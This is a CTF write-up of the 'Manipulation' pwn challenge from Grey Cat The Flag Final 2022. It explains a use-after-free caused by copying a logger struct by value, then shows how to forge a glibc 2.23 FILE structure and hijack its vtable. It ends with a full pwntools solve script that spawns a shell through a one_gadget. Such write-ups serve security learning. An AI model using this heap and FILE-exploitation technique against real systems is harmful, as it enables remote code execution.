Manipulation
In Grey Cat The Flag Final 2022, 991 points
Struct copying leads to UAF + file pwn
Challenge files: ld-2.23.so libc-2.23.so Makefile manipulation.cpp manipulation.o
Introduction and analysis
This C++ program is fairly similar to the reporter challenge. Instead of reports, this program allows the user to manage a list of accounts and transfer money between them. The user can also set the name of each account. However, just like reporter, the user cannot decrease the number of accounts created. The bounds checking seems ok too.
struct account {
double balance;
char name[NAME_SZ];
};
Note: the account struct has a size of 16 bytes.
However, 3 major differences between these two programs make the exploit strategy completely different.
First, let's check out the code for creating more accounts. In reporter, the integer overflow vulnerability was present here:
uint read_num(const char* prompt) {
printf("%s > ", prompt);
uint n;
scanf("%u", &n);
return n;
}
auto new_account_len = read_num("New Size");
if (new_account_len < account_len)
log.fatal("attempt to make accounts smaller, %u->%u", account_len, new_account_len);
auto new_accounts = (account*) malloc(new_account_len * sizeof(account));
memcpy(new_accounts, accounts, account_len * sizeof(account));
free(accounts);
accounts = new_accounts;
account_len = new_account_len;
break;
Although the code looks pretty similar, unfortunately due to new_account_len
being a uint, we cannot enter a sufficiently large value to overflow a ulong and cause OOB access 😦
Next was something that caught my attention immediately on unzipping this challenge: glibc 2.23 was used. This is quite unlike all previous challenges, which used glibc 2.31. Unfortunately, glibc 2.23 is so old that it won't run on my modern debian system. Thus, all exploitation for this challenge was conducted in a debian buster docker container.
Finally, an additional logging feature was added:
struct logger {
FILE* inner;
logger(const char* path) {
inner = fopen(path, "a");
}
void write(const char* pre, const char* fmt, va_list args) {
char buf[512];
snprintf(buf, sizeof(buf), pre, fmt);
vfprintf(inner, buf, args);
}
void info(const char* fmt...) {
va_list args;
va_start(args, fmt);
write("[*] %s\n", fmt, args);
va_end(args);
}
void fatal(const char* fmt...) {
va_list args;
va_start(args, fmt);
write("[!] %s\n", fmt, args);
va_end(args);
exit(1);
}
~logger() {
fclose(inner);
}
};
The multiple printf
s seemed a bit suspicious, but I didn't discover anything exploitable there.
One logger
object is created at the start of the program:
auto log = logger("/tmp/log.txt");
log.info("bank service launched @ %lld!", time(NULL));
Vulnerability
The vulnerability occurs when money is transferred between accounts.
case 3: // tfr $
{
auto from = read_num("From");
auto to = read_num("To");
auto amt = read_dbl("Amount");
tfr(log, from, to, amt); // log is copied
break;
}
void tfr(logger log, uint from, uint to, double amt) {
if (from >= account_len || to >= account_len)
log.fatal("invalid transfer from %u -> %u, $%lf", from, to, amt);
accounts[from].balance -= amt;
accounts[to].balance += amt;
log.info("transfer from %u -> %u, $%lf", from, to, amt);
}
When the tfr
function is called, the logger object is copied, rather than passed by reference. However, the inner
file pointer still points to the same file object, shared between the two clones of log
. When the log
object goes out of scope at the end of the tfr
function, its destructor is called, which calls fclose(inner)
.
If multiple transactions are performed, the same file will be fclose
d twice, causing the program to crash due to a double free.
Hmm so fclose
frees the file object somewhere. But a pointer to the freed file object is still retained in the other logger object. This is a classic use-after-free vulnerability.
By resizing the accounts array, we can reallocate the freed FILE object as the accounts array, allowing us to arbitrary read/write within the file object.
Exploitation
Reallocating the freed file object as the accounts array: we just resize the accounts array to 290, which glibc services via the unsorted bin where the freed file object is stored.
Now the hard part is manipulating the file object to get RCE.
While you can view the glibc source code for _IO_FILE
, there seems to be a bunch of flags and I'm not sure which are enabled for the challenge binary. Also it seems like it is a _IO_FILE_plus
object instead, which has a vtable
pointer at the back. This points to a list of function pointers that are called to perform certain operations related to the file.
According to some CTF writeup we can just overwrite the xsputn
function pointer in the vtable, which is called when data is to be written to the file. Sounds good!
Unfortunately, when the file object is reallocated as the accounts array, the old accounts data is memcpy
ed over, overwriting whatever was in the file object. So we will need to figure out what parts of the file object needs to be restored. Luckily, it is not too much.
_flags
: The upper 2 bytes of this integer needs to be0xfbad
otherwise theCHECK_FILE
check will fail. Additionally, the 3rd bit_IO_NO_WRITES
must not be set for obvious reasons. The easiest approach is to just restore the original value,0x00000000fbad2887
. This is done via transferring money to account 0._lock
: This must be a pointer to NULL. Fortunately, we have plenty of NULL values within the file object (a bunch of it got overwritten with nulls from the old account array). We can leak the address of the file object by reading some pointers from the accounts array.
Finally, the vtable pointer is overwritten to point into the file object. Then the xsputn
is set to a one gadget. Luckily glibc didn't seem to have any problem with everything else being NULL, or the vtable being inside the file object XD.
The hard part of the challenge is finding the bug, setting up a glibc 2.23 environment, and doing enough research to find out how to exploit file objects. But after that the challenge is actually surprisingly simple.
Solve script
from pwn import *
e = ELF("manipulation.o")
libc = ELF("libc-2.23.so", checksec=False)
ld = ELF("ld-2.23.so", checksec=False)
context.binary = e
context.terminal = ['tmux', 'splitw', '-h']
def setup():
p = e.process()
return p
def add(p, sz):
p.recvuntil("opt >")
p.sendline("1")
p.recvuntil("New Size >")
p.sendline(str(sz))
def transfer(p,f,t, sz):
p.recvuntil("opt >")
p.sendline("3")
p.recvuntil("From > ")
p.sendline(str(f))
p.recvuntil("To > ")
p.sendline(str(t))
p.recvuntil("Amount > ")
p.sendline(str(sz))
def leak(p, x):
p.recvuntil("opt >")
p.sendline("4")
p.recvuntil(str(x)+". : ")
x = p.recvline()
print(x)
d = u64(struct.pack("d",eval(x)))
p.recvuntil("289")
return d
def name(p, x, _name):
p.recvuntil("opt >")
p.sendline("2")
p.recvuntil("Account >")
p.sendline(str(x))
p.recvuntil("Name: ")
p.sendline(_name)
if __name__ == '__main__':
p = setup()
p.sendline("10")
# Free
# Restore file flags (magic value)
# struct.unpack("d", p64(0x00000000fbad2887))
transfer(p, 1,0, 2.0861572685e-314)
# Get reallocated freed FILE object
add(p, 290)
p.recvuntil("opt >")
p.sendline("4")
p.recvuntil("13. ")
l2 = u64(p.recvline()[:6]+b"\0\0")
l1 = leak(p, 10)
start = l1-0xf0
# Leak libc from pointers in FILE object
libc.address = l2 - 0x3c36e0
print(hex(start), hex(libc.address))
# Fake FILE vtable within FILE object
# One gadget -> xsputn (called on fwrite)
name(p, 5, p64(libc.address + 0x4527a))
# _lock of FILE object (must be a pointer to null)
# start + 0x30 is probably null
name(p, 8, p64(start+0x30))
# vtable pointer back into FILE object
name(p, 13, p64(start+0x20))
# Trigger fwrite to file
add(p, 1)
p.interactive()